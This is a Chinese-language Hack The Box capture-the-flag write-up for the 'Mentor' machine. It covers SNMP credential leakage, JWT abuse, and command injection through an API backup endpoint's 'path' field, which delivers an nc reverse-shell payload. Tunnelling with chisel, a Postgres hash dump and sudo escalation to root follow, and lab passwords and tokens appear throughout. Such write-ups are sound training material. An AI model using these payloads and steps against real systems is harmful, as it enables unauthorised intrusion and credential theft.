HTB-Mentor
一、思路概要
信息收集得到
Swagger UI
页面、SNMP服务、诸多有效目录;SNMP配置信息泄露管理员james密码;
登录james用户获取管理员JWT;
利用管理员JWT命令执行获取虚拟root权限;
发现PostgreSQL数据库,与之交互获取ssh账户;
登录ssh账户运行linpeas,从SNMP配置文件拿到james终端密码;
切换james终端用户,提权获取root权限。
二、信息收集
nmap
┌──(root💀kali)-[~/Desktop]
└─# nmap -sC -sV -oA nmap/result 10.10.11.193
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-05 19:47 EST
Nmap scan report for 10.10.11.193
Host is up (0.38s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c7:3b:fc:3c:f9:ce:ee:8b:48:18:d5:d1:af:8e:c2:bb (ECDSA)
|_ 256 44:40:08:4c:0e:cb:d4:f1:8e:7e:ed:a8:5c:68:a4:f7 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://mentorquotes.htb/
Service Info: Host: mentorquotes.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.40 seconds
开放端口:22(SSH)、80(HTTP),域名http://mentorquotes.htb/
添加域名到本地hosts文件
echo "10.10.11.193 mentorquotes.htb" >> /etc/hosts
URL访问http://mentorquotes.htb/
wfuzz一下子域
┌──(root💀kali)-[~/Desktop]
└─# wfuzz -H "Host: FUZZ.mentorquotes.htb" --hc 302,400 -t 50 -H "User-Agent: wa0er" -c -z file,"/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt" http://mentorquotes.htb/
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://mentorquotes.htb/
Total requests: 38267
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000142: 404 0 L 2 W 22 Ch "api"
Total time: 0
Processed Requests: 38267
Filtered Requests: 38266
Requests/sec.: 0
得api子域,将api子域添加进本地hosts文件
echo "10.10.11.193 api.mentorquotes.htb" >> /etc/hosts
访问api.mentorquotes.htb
,是404
ffuf爆破一下api.mentorquotes.htb
的目录
┌──(root💀kali)-[~/Desktop]
└─# ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -u http://api.mentorquotes.htb/FUZZ -t 50
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://api.mentorquotes.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 50
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 292ms]
* FUZZ: admin
[Status: 200, Size: 969, Words: 194, Lines: 31, Duration: 533ms]
* FUZZ: docs
[Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 362ms]
* FUZZ: users
[Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 1082ms]
* FUZZ: quotes
[Status: 403, Size: 285, Words: 20, Lines: 10, Duration: 863ms]
* FUZZ: server-status
:: Progress: [38267/38267] :: Job [1/1] :: 125 req/sec :: Duration: [0:04:47] :: Errors: 0 ::
得到api.mentorquotes.htb
四个目录:/admin
、/docs
、/users
、/quotes
、/server-status
api.mentorquotes.htb/admin
如下
api.mentorquotes.htb/docs
如下,用的Swagger UI,页面能看到很多API
可以看到这个站点的站主是james,并且他的邮箱是james@mentorquotes.htb
在/auth/signup
尝试注册账户,如下界面,填写email、username、password,点击Execute,同时Burp抓包

Burp抓包重放,如下,可看到账户已被创建
尝试用刚创建的账户在/auth/login
登录,填写email、username、password,点击Execute,依然Burp抓包

Burp重放,发现返回了一串JWT(JsonWebToken,下简称JWT,JWT典型的三段结构:xxx.xxx.xxx)
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InN0cmluZyIsImVtYWlsIjoid2EwZXJAZXhhbXBsZS5jb20ifQ.HfrTNgZInwCjDjfhO447ojuw5lEZWi03NmrENknZJZ8"
/users
目录应该是所有用户的信息,于是在/users
目录尝试登录,如果直接登录,会发现提示需要Authorization字段,那我们就抓包在请求头添加如下Authorization键值对,重放HTTP请求,发现提示只允许admin用户访问
Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InN0cmluZyIsImVtYWlsIjoid2EwZXJAZXhhbXBsZS5jb20ifQ.HfrTNgZInwCjDjfhO447ojuw5lEZWi03NmrENknZJZ8
然后尝试用james用户的邮箱用户名去注册,发现会提示用户已存在
随后进行百般尝试,发现它验证用户是否已存在的逻辑是:当email和username同时匹配到相同的值时,才会认定此用户已存在。于是尝试伪造管理员用户获取管理员JWT(这里的管理员用户推测应该是站主james或者admin)。
但随后用注册→登录(获取JWT)→/users目录
尝试了以下5种组合,均提示只有admin用户能访问该资源
{
"email":"james@mentorquotes.htb",
"username":"wa0er",
"password":"wa0erwa0er"
}
{
"email":"wa0er@mentorquotes.htb",
"username":"james",
"password":"wa0erwa0er"
}
{
"email":"admin@mentorquotes.htb",
"username":"admin",
"password":"wa0erwa0er"
}
{
"email":"admin@mentorquotes.htb",
"username":"wa0er",
"password":"wa0erwa0er"
}
{
"email":"wa0er@mentorquotes.htb",
"username":"admin",
"password":"wa0erwa0er"
}
随后整理思路,在一次nmap扫描中,看到如下信息
┌──(root💀kali)-[~/Desktop]
└─# nmap -sU 10.10.11.193
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-11 21:40 EST
Nmap scan report for mentorquotes.htb (10.10.11.193)
Host is up (0.23s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
68/udp open|filtered dhcpc
161/udp open|filtered snmp
Nmap done: 1 IP address (1 host up) scanned in 1031.83 seconds
68端口(DHCPC)和161端口(SNMP)开放,DHCP可能的攻击主要就是拒绝服务和中间人攻击,用不上,那就从SNMP下手。
SNMP全称简单网络管理协议,是专门设计用于在IP网络管理网络节点(服务器、工作站、路由器、交换机及HUBS等)的一种标准协议,是一种应用层协议。通过SNMP可以访问设备信息、改写和配置设备参数等,SNMP运行在UDP161端口上,采用UDP协议在管理端和agent之间传输信息。
试试用snmpbulkwalk
读取相关配置信息
https://linux.die.net/man/1/snmpbulkwalk
snmpbulkwalk -c internal -v2c 10.10.11.193 > snmpbulk_mentor
注:
-v 1|2c|3 指定SNMP版本
-c COMMUNITY 指定community string
-m MIB[:...] 指定MIB文件(此处没用到)
查看刚读取的配置信息,搜索带有login字符串的条目,发现/usr/local/bin/login.py
有一个字符串kj23sadkj123as0-d213
,可能是管理员的登录密码
cat snmpbulk mentor | grep login
我们到/auth/login
目录,用james的邮箱和用户名,密码填写刚获得的密码,成功登录,获取到james账户JWT
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0"
Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0
三、命令执行
访问/users/
目录,成功拿到用户列表,主要是两个用户:james和service_acc
刚才我们爆破出了/admin
目录,我们重新用这个JWT访问此目录,发现有两个功能目录
"admin_funcs":{
"check db connection":"/check",
"backup the application":"/backup"
访问/admin/check
,返回Not implemented yet!
访问/admin/backup
,返回Method Not Allowed
在请求头区域单击鼠标右键,选择Change request method
,自动切换成POST方法,点击send
发送数据包后,
可看到响应包content-type
值为application/json
,再加上数据部分的报错,意思就是请求包需要有带body属性的json对象
修改content-type
值为application/json
,请求头内容添加json对象,body为空就行,又提示需要path属性
于是在请求头内容添加body属性和path属性,返回Done!
,嗯???,Done了个寂寞,应该是代入执行了
那我们就尝试执行命令,修改body如下,也就是ping本地主机(务必记得末尾加分号!)
在发送请求包前在本地开启tcpdump捕获数据包
tcpdump -i tun0 icmp #只捕获tun0网卡的icmp协议数据包
发送请求包后,可在本地看到有数据包被捕获,说明命令被成功执行
那就构造如下请求包,本地开启nc监听
nc -nvlp 9898
POST /admin/backup HTTP/1.1
Host: api.mentorquotes.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://api.mentorquotes.htb/docs
Connection: close
Content-Type: application/json
Content-Length: 108
{
"body": "wa0er",
"path":"/;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.X.X 9898 >/tmp/f;"
}
成功反弹shell,获取到root权限,但看到nc提示sh: can't access tty; job control turned off
,这说明根本就没有进到控制终端,可能是个虚拟环境之类的,尝试读取/root/root.txt
文件发现确实没有,所以还要进一步getshell
/app/app
目录下有db.py
db.py
内容如下
import os
from sqlalchemy import (Column, DateTime, Integer, String, Table, create_engine, MetaData)
from sqlalchemy.sql import func
from databases import Database
# Database url if none is passed the default one is used
DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")
# SQLAlchemy for quotes
engine = create_engine(DATABASE_URL)
metadata = MetaData()
quotes = Table(
"quotes",
metadata,
Column("id", Integer, primary_key=True),
Column("title", String(50)),
Column("description", String(50)),
Column("created_date", DateTime, default=func.now(), nullable=False)
)
# SQLAlchemy for users
engine = create_engine(DATABASE_URL)
metadata = MetaData()
users = Table(
"users",
metadata,
Column("id", Integer, primary_key=True),
Column("email", String(50)),
Column("username", String(50)),
Column("password", String(128) ,nullable=False)
)
# Databases query builder
database = Database(DATABASE_URL)
为了与PostgreSQL数据库交互,需要用到chisel
工具
chisel工具:https://github.com/jpillora/chisel
从本地传一个chisel
本地:python3 -m http.server 80
靶机:wget http://[本地IP]/chisel
(PS:这里看到靶机IP为10.129.89.191,与之前的10.10.11.193不一致,是因为靶机中间网络中断,我切换过靶机环境,本质上他俩都是这台靶机地址)
将chisel复制到/tmp
文件夹下,并添加可执行权限
本地执行:
chmod +x chisel
./chisel server --port 9899 --reverse
靶机执行:
chmod +x chisel
./chisel client -v 10.10.X.X:9899 R:5432:172.22.0.1:5432
连接数据库,密码是postgres
┌──(root💀kali)-[~/Desktop]
└─# psql -h 10.10.X.X -U "postgres" -p 5432
Password for user postgres:
psql (13.2 (Debian 13.2-1), server 13.7 (Debian 13.7-1.pgdg110+1))
Type "help" for help.
postgres=# \list
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-----------------+----------+----------+------------+------------+-----------------------
mentorquotes_db | postgres | UTF8 | en_US.utf8 | en_US.utf8 |
postgres | postgres | UTF8 | en_US.utf8 | en_US.utf8 |
template0 | postgres | UTF8 | en_US.utf8 | en_US.utf8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.utf8 | en_US.utf8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)
postgres=# \c mentorquotes_db
psql (13.2 (Debian 13.2-1), server 13.7 (Debian 13.7-1.pgdg110+1))
You are now connected to database "mentorquotes_db" as user "postgres".
mentorquotes_db=# \d
List of relations
Schema | Name | Type | Owner
--------+---------------+----------+----------
public | cmd_exec | table | postgres
public | quotes | table | postgres
public | quotes_id_seq | sequence | postgres
public | users | table | postgres
public | users_id_seq | sequence | postgres
(5 rows)
mentorquotes_db=# select * from users;
id | email | username | password
----+------------------------+-------------+----------------------------------
1 | james@mentorquotes.htb | james | 7ccdcd8c05b59add9c198d492b36a503
2 | svc@mentorquotes.htb | service_acc | 53f22d0dfa10dce7e29cd31f4f953fd8
4 | wa0er@mentorquotes.htb | james | ad4ece449e52f57769466a281720b825
5 | james@mentorquotes.htb | wa0er | ad4ece449e52f57769466a281720b825
6 | admin@mentorquotes.htb | admin | ad4ece449e52f57769466a281720b825
(5 rows)
获取到用户密码hash值,只有前两个有用,后面的是之前自己添加的
得到svc账户的密码
123meunomeeivani
登录ssh
┌──(root💀kali)-[~/Desktop]
└─# ssh svc@10.10.11.193
svc@10.10.11.193's password:
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-56-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Mar 9 09:03:14 AM UTC 2023
System load: 0.0
Usage of /: 65.3% of 8.09GB
Memory usage: 15%
Swap usage: 0%
Processes: 243
Users logged in: 0
IPv4 address for br-028c7a43f929: 172.20.0.1
IPv4 address for br-24ddaa1f3b47: 172.19.0.1
IPv4 address for br-3d63c18e314d: 172.21.0.1
IPv4 address for br-7d5c72654da7: 172.22.0.1
IPv4 address for br-a8a89c3bf6ff: 172.18.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.11.193
IPv6 address for eth0: dead:beef::250:56ff:feb9:d789
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Dec 12 10:22:58 2022 from 10.10.14.40
svc@mentor:~$ id
uid=1001(svc) gid=1001(svc) groups=1001(svc)
svc@mentor:~$ pwd
/home/svc
四、权限提升
从本地传一个linpeas
工具,运行一下,分析可看到有SNMP服务的相关配置文件
查看/etc/snmp/snmpd.conf
,可看到有个密码,站点属主是james,那应该就是james的密码(这个密码跟之前的密码不一样,可能前面的那个只是平台james管理员的密码,这个地方是linux终端james用户的密码)
svc@mentor:/tmp$ cat /etc/snmp/snmpd.conf
SuperSecurePassword123__
切换到james用户,执行sudo -l
可看到james用户有执行/bin/sh
命令的权限
svc@mentor:/tmp$ su james
Password:
james@mentor:/tmp$ id
uid=1000(james) gid=1000(james) groups=1000(james)
james@mentor:/tmp$ sudo -l
[sudo] password for james:
Matching Defaults entries for james on mentor:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on mentor:
(ALL) /bin/sh
执行/bin/sh
,成功获取root权限
james@mentor:/tmp$ sudo /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
Over!

参考
Hackthebox Mentor Writeup:https://0xdedinfosec.vercel.app/blog/hackthebox-mentor-writeup
实战SNMP服务攻击:https://www.freebuf.com/articles/network/319234.html